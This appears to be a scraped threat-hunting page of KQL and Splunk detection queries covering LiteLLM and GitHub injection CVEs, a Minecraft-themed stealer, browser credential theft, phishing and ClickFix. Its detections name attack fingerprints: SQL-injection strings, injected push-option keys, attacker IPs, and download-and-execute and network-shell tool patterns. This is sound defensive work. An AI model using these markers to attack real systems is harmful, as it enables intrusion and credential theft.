DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("65.111.27.132", "65.111.25.67") or RemoteUrl has_any ("")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("65.111.27.132", "65.111.25.67")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
[LLM] LiteLLM CVE-2026-42208 SQL injection signatures in Authorization header to /chat/completionsExploitationHigh
Hunts inbound HTTP requests to LiteLLM proxy routes (POST /chat/completions, /v1/chat/completions) carrying the article's specific SQLi markers in the Bearer token: the prefix 'sk-litellm'' (with terminating single quote), UNION SELECT, references to litellm_verificationtoken / litellm_credentials / litellm_config, or 'OR 1=1--'. Also flags the consistent attacker User-Agent 'Python/3.12 aiohttp/3.9.1' observed by Sysdig.
Rationale: Uses the highly specific exploit fingerprints called out in the Sysdig write-up: the literal Bearer prefix 'sk-litellm'' that begins every malicious payload, the three target tables (LiteLLM_VerificationToken / litellm_credentials / litellm_config), the column-count enumeration with UNION SELECT, the OR 1=1-- fallback, and the consistent Python aiohttp/3.9.1 client. None of these strings are expected in legitimate LiteLLM Bearer tokens, which are random sk- prefixed values without quotes or SQL keywords.
Cross-checked against:
• https://www.sysdig.com/blog/cve-2026-42208-targeted-sql-injection-against-litellms-authentication-path-discovered-36-hours-following-vulnerability-disclosure
• https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc
• https://security.snyk.io/vuln/SNYK-PYTHON-LITELLM-16300164
ATT&CKT1190T1552.001
Data sourcesWeb.Web
let exploitIPs = dynamic(["65.111.27.132","65.111.25.67"]);
let liteLLMPaths = dynamic(["/chat/completions","/v1/chat/completions","/embeddings","/completions"]);
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where ActionType in ("InboundConnectionAccepted","ConnectionSuccess")
| where RemoteIP in (exploitIPs)
or (RemoteUrl has_any (liteLLMPaths) and (InitiatingProcessCommandLine has_any ("sk-litellm'","UNION SELECT","litellm_verificationtoken","litellm_credentials","litellm_config","OR 1=1--") or InitiatingProcessFileName in~ ("python.exe","python3","litellm")))
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, ReportId
| join kind=leftouter (DeviceProcessEvents | where ProcessCommandLine has "litellm" | project DeviceName, LiteLLMProc=ProcessCommandLine) on DeviceName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.http_user_agent) as ua values(Web.http_method) as method values(Web.url) as url from datamodel=Web where Web.url IN ("*/chat/completions*","*/v1/chat/completions*","*/embeddings*","*/completions*") AND (Web.http_user_agent="Python/3.12 aiohttp/3.9.1" OR Web.url="*sk-litellm'*" OR Web.url="*UNION%20SELECT*" OR Web.url="*litellm_verificationtoken*" OR Web.url="*litellm_credentials*" OR Web.url="*litellm_config*" OR Web.url="*OR%201%3D1*") by Web.src Web.dest Web.url Web.http_user_agent Web.http_method Web.status
| `drop_dm_object_name(Web)`
| where status!=404
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Alerts on any inbound traffic to internal LiteLLM proxy hosts originating from the two Sysdig-published attacker IPs (65.111.27.132, 65.111.25.67) used in the schema-enumeration and credential-extraction phases of CVE-2026-42208 exploitation. Also surfaces outbound LiteLLM-host callouts to those IPs in case of post-exploitation interaction.
Rationale: Sysdig published these two IPs (both AS200373, 3xK Tech GmbH, Germany) as the exclusive sources of in-the-wild CVE-2026-42208 exploitation across two phases (initial schema enumeration and refined extraction). They are not legitimate LiteLLM clients; any contact with internal AI-gateway hosts is high-fidelity actor activity.
Cross-checked against:
• https://www.sysdig.com/blog/cve-2026-42208-targeted-sql-injection-against-litellms-authentication-path-discovered-36-hours-following-vulnerability-disclosure
• https://thehackernews.com/2026/04/litellm-cve-2026-42208-sql-injection.html
ATT&CKT1190T1071.001
Data sourcesNetwork_Traffic.All_Traffic
let exploitIPs = dynamic(["65.111.27.132","65.111.25.67"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP in (exploitIPs)
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Connections=count(), Ports=make_set(RemotePort,25), Urls=make_set(RemoteUrl,25), Procs=make_set(InitiatingProcessFileName,10) by DeviceName, RemoteIP, ActionType
| order by LastSeen desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_port) as dest_ports values(All_Traffic.app) as app values(All_Traffic.action) as action from datamodel=Network_Traffic where (All_Traffic.src IN ("65.111.27.132","65.111.25.67") OR All_Traffic.dest IN ("65.111.27.132","65.111.25.67")) by All_Traffic.src All_Traffic.dest All_Traffic.transport
| `drop_dm_object_name(All_Traffic)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-286 use cases3 techniques6 kill-chain phases detected
Cybersecurity researchers have disclosed details of a critical security vulnerability impacting GitHub.com and GitHub Enterprise Server that could allow an authenticated user to obtain remote code execution with a single "git push" command. The flaw, tracked as CVE-2026-3854 (CVSS score: 8.7), is a case of command injection that could allow an attacker with push access to a repository to achieve
CVEsCVE-2026-3854CVE-2026-33626CVE-2026-32202
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-3854", "CVE-2026-33626", "CVE-2026-32202")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Hunts the exact CVE-2026-3854 exploitation primitive: a single git push whose push-option value contains a semicolon delimiter alongside the injected internal X-Stat keys (rails_env, custom_hooks_dir, repo_pre_receive_hooks). GitHub's blog explicitly recommends grepping /var/log/github-audit.log for push operations containing ';' in push options — this rule operationalises that for a forwarded audit feed.
Rationale: Wiz disclosed that the exploit injects extra X-Stat fields by appending `;<key>=<value>` inside a push-option, and named the exact keys (rails_env, custom_hooks_dir, repo_pre_receive_hooks, large_blob_rejection_enabled, user_operator_mode). A push-option value containing a semicolon AND any of these reserved internal keys is not a benign developer pattern — it is the CVE-2026-3854 exploit primitive. Cross-checked Wiz blog, GitHub Security blog, and SecurityAffairs writeup.
Cross-checked against:
• https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854
• https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/
• https://securityaffairs.com/191434/security/cve-2026-3854-github-flaw-enables-remote-code-execution.html
• https://socradar.io/blog/cve-2026-3854-githubs-git-push-pipeline/
ATT&CKT1190T1059.004T1505.004
Data sourcesChange.All_Changes
// Defender for Cloud Apps -> GitHub Enterprise audit connector
CloudAppEvents
| where Application in ("GitHub","GitHub Enterprise") and ActionType in ("git.push","PushEvent","repo.push")
| extend Raw = tostring(RawEventData)
| extend PushOptions = tostring(parse_json(Raw).push_options), Repo = tostring(parse_json(Raw).repo), Actor = tostring(parse_json(Raw).actor)
| where isnotempty(PushOptions)
| where PushOptions has ";"
and (PushOptions has_cs "rails_env="
or PushOptions has_cs "custom_hooks_dir="
or PushOptions has_cs "repo_pre_receive_hooks="
or PushOptions has_cs "large_blob_rejection_enabled="
or PushOptions has_cs "user_operator_mode=")
| project Timestamp, Actor, Repo, PushOptions, IPAddress, AccountObjectId, ReportId
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Change.user) as user values(Change.src) as src values(Change.object) as repo values(Change.command) as push_options from datamodel=Change where (Change.object_category="repository" OR sourcetype IN ("github:enterprise:audit","github:audit")) Change.action="push" (Change.command="*;*" OR Change.command="*rails_env=*" OR Change.command="*custom_hooks_dir=*" OR Change.command="*repo_pre_receive_hooks=*" OR Change.command="*large_blob_rejection_enabled=*" OR Change.command="*user_operator_mode=*") by Change.user Change.object Change.dest | `drop_dm_object_name(Change)` | where match(push_options,"(?i)(;|%3B).*(rails_env|custom_hooks_dir|repo_pre_receive_hooks|large_blob_rejection_enabled|user_operator_mode)=") OR match(push_options,"(?i)(rails_env|custom_hooks_dir|repo_pre_receive_hooks)=.*(;|%3B)")
[LLM] GHES backend: pre-receive hook spawning shell as git user with non-production RAILS_ENV (CVE-2026-3854 post-exploit)InstallationMedium
Detects the post-exploitation effect of CVE-2026-3854 on GitHub Enterprise Server backend nodes: the compiled pre-receive Go binary spawning an interpreter (sh, bash, perl, python, ruby, curl, wget) as the local 'git' service user (uid 500 in Wiz's PoC), or executing scripts from a hook directory pathed via '../' traversal — both signatures of rails_env/custom_hooks_dir injection escaping the production sandbox.
Rationale: Wiz documented the exact post-injection chain: pre-receive runs hooks unsandboxed when rails_env != production, executes them as the 'git' user (uid 500), and resolves them via custom_hooks_dir which can include '../' traversal. Detecting the pre-receive / babeld / gitrpcd / gitauth processes spawning an interpreter outside the sandbox path — or any process with a non-production RAILS_ENV value on a GHES host — captures the exploitation effect even when the audit-log primitive is missed (e.g. log tampering, attacker rotates push options).
Cross-checked against:
• https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854
• https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/
ATT&CKT1059.004T1574.006T1546
Data sourcesEndpoint.Processes
// Linux GHES backend nodes onboarded to MDE
DeviceProcessEvents
| where DeviceName has_any ("ghes","github-enterprise","github-ent")
| where AccountName == "git" or AccountSid == "500" or InitiatingProcessAccountName == "git"
| where InitiatingProcessFileName in~ ("pre-receive","pre-receive-hook","babeld","gitrpcd","gitauth")
or InitiatingProcessFolderPath has_any ("/data/github/","/var/lib/git/","custom_hooks")
| where FileName in~ ("sh","bash","dash","perl","python","python3","ruby","curl","wget","nc","ncat","socat")
or ProcessCommandLine has_any ("../","RAILS_ENV=development","RAILS_ENV=test","RAILS_ENV=staging")
| where not(InitiatingProcessFolderPath has "/sandbox/")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, ProcessCommandLine, FolderPath, ProcessId
| sort by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.process_path) as process_path values(Processes.parent_process) as parent_cmd values(Processes.user) as user from datamodel=Endpoint.Processes where Processes.dest IN ("*ghes*","*github-enterprise*") Processes.user IN ("git","500") Processes.parent_process_name IN ("pre-receive","pre-receive-hook","babeld","gitrpcd","gitauth") Processes.process_name IN ("sh","bash","dash","zsh","perl","python","python3","ruby","curl","wget","nc","ncat","socat") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name | `drop_dm_object_name(Processes)` | where NOT match(process_path,"^/data/github/current/.*/sandbox/") OR match(cmdline,"\\.\\./")
2026-04-2815 use cases8 techniques6 kill-chain phases detected
A cybercrime group of Brazilian origin has resurfaced after more than three years to orchestrate a campaign that targets Minecraft players with a new stealer called LofyStealer (aka GrabBot). "The malware disguises itself as a Minecraft hack called 'Slinky,'" Brazil-based cybersecurity company ZenoX said in a technical report. "It uses the official game icon to induce voluntary execution,
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] LofyStealer/GrabBot C2 beacon to 24.152.36.241:8080 with GrabBot/1.0 User-Agent
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · OAuth consent / suspicious app grant · [LLM] GrabBot multi-browser credential harvest (Chrome/Edge/Brave/Opera/Firefox/Avast)
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("24.152.36.241") or RemoteUrl has_any ("")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("24.152.36.241")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
